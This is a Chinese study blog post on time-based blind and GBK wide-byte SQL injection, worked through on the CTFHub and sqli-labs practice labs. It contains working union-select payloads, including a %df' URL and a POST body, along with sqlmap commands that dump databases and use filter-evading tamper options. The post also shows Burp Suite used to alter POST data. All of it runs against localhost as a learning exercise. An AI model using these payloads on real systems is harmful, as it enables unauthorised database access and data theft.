暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

时间盲注和宽字节注入学习以及sqlmap工具的使用和BURP解决POST提交问题

原创 王芷枫 2025-04-11
234

一、时间盲注学习

1.概念

时间盲注顾名思义就是用时间戳来判断该页面是否执行了正确的还是错误的页面,方法和布尔盲注大差不差,此处多了一个if()函数,里面包含三个参数,第一个参数是条件,第二参数是条件为true执行的操作,第三个参数是条件为false执行的操作。

如何判断是否为时间盲注呢,经过其他测试后发现页面不论是成功还是失败总也是同一个页面的时候,就能尝试时间盲注了,利用sleep()函数判断该页面是否执行了正确或是错误的页面,带一个参数,就是时间戳,比如sleep(2)代表如果页面返回为true,页面会刷新2秒钟,返回false则不会延迟2秒钟。

2.CTFHub练习题之时间盲注

提示框显示输入1,然后页面显示什么都不返回,这个时候就能尝试时间盲注了,刚好时间盲注就是解决页面总也返回一个页面的情况,什么都不返回不也是只返回一个页面吗,而且它题目都是时间盲注,所以开始吧。

首先先判断输入是什么类型的,经过判断本题就是整形类型的,且后面不需要加注释,通过if()函数判断数据库字符长度是4,因为长度大于3时页面延迟了2秒钟,因为我设置的sleep(2),长度大于4的时候页面没有延迟,就能判断出存入该数据的数据库名长度为4。

用脚本来把数据库中的表名给跑出来,要注意url输入正确,以及此处是整形注入,还有时间戳的问题,我遇到了时间戳过短,导致乱码了,解决办法就是把时间戳的两个地方的代码给改大一点,速度会慢一点,但是准确。

最后就是依次用脚本把字段名以及数据flag给跑出来,这题也是成功解决了。


二、宽字节注入学习

1.概念

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。当题目设置了过滤,把单引号’以及双引号’‘用反斜杠\给转义了,通常来说,在GBK编码当中,一个汉字占用2个字节。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。输入%df’时,mysql语句会先把单引号’给转义成反斜杠\加单引号’,而%df加上反斜杠\构成了一个汉字,而php又是弱语言类型,能自动转化成整形,单引号虽然被转义了,但加上%df后也能正常输出了。

如何判断时宽字节注入呢,这就得一个一个测试了,比较鸡肋,当你输入单引号和双引号发现页面没什么变化时,大概猜到这些都被过滤了,这个时候就需要输入%df’来测试一下能不能跳转不一样的页面。

2.less-32

了解了输入%df’后能正常输出页面了,其他语句与之前的一模一样,流程都是先order by判断列数,然后查数据库名,表名,字段名,最后的数据也是成功查找出来了。

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1,2,flag from security.flags --+


三、sqlmap工具的使用

1.下载

下载压缩包即可,然后自己选择路径在本地安装。

sqlmap下载地址

2.使用

在下载好的sqlmap本地路径的文件夹里打开cmd终端,然后输入命令。

下图是sqlmap各种命令。

–batch可以不再询问确认,因为你查数据库名的时候会让你输入yes或no的,这样确认的多了也就麻烦了,所以用这个语句可以提高效率。

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --batch

–dbs,然后接着查数据库名,发现能输出所有的数据库,这里演示获取当前数据库名,查到为security。

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --batch --current-db //获取当前数据库名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --batch --dbs //获取所有数据库名

-D “security” --tables,查表名,发现有许多表,我们需要查的就是flags表。

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --batch -D "security" --tables

-D “security -T “flags” --columns”,然后接着查字段,发现flags表中的列名为flag。

 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --batch -D "security" -T "flags" --columns

-D “security” -T “flags” -C “flag” --dump,最终就是查flag数据了,也是成功完成了这题。

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --batch -D "security" -T "flags" -C "flag" --dump

3.注意事项

凡是语句中的-D、-T、-C里的数据都是需要打上双引号""的,这是语句的问题。还有上述题型输入方式都是GET类型的,POST类型的题目只需要在语句中加个–data 然后加"字段的参数"即可。

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/ --batch --data "username=admin&passwd=12345" --dbs//就按照这样的格式即可

此外我还遇到了另一个问题,就是我的sqlmap权限不够,然后我去问了deepseek,它给了我一段代码,然后我在cmd中运行了之后能正常使用了。

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-10/?id=1 --batch --level=5 --risk=3 --tamper="space2comment,randomcase" --random-agent --dbms=mysql --technique=BEU


四、BURP解决POST提交问题

在谷歌浏览器中抓不到题目中的数据包,历史记录中也没HTTP的包,要在下图中的浏览器中打开。

然后开启截取数据包,获取里面的信息,更改POST提交的数据。首先要判断是什么类型的,这题是单引号闭合类型。把截取到的数据包放到Repeater中来分析。

通过测试也是发现闭合类型是单引号’字符型,接下来的语句和之前的一模一样,更改语句然后点send发送,response是响应包,你发过去它会回复你。

最终按照流程一步一步来也是把flag中的数据给获取到了,这就是BURP的使用。

uname=admin&passwd=123456' union select 1,flag from security.flags --+


五、总结

随着学习的注入类型越来越多,其实大多数流程都是一样的,都是查数据库数据表数据字段等,其中遇到问题的解决方法是不同的,以及判断闭合类型、过滤关键字、大小写过滤等等情况,这类情况是需要去积累,掌握更多解决不同问题的方法,以及更多方便解决问题工具的使用,达到高效率完成工作。

当然也要及时复习,所以为此写下此篇总结,为以后的复习当中提供思路和回忆,毕竟是自己做的,到时候来再看的时候能很快回想起来当时是怎样学的。

文章转载自王芷枫,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论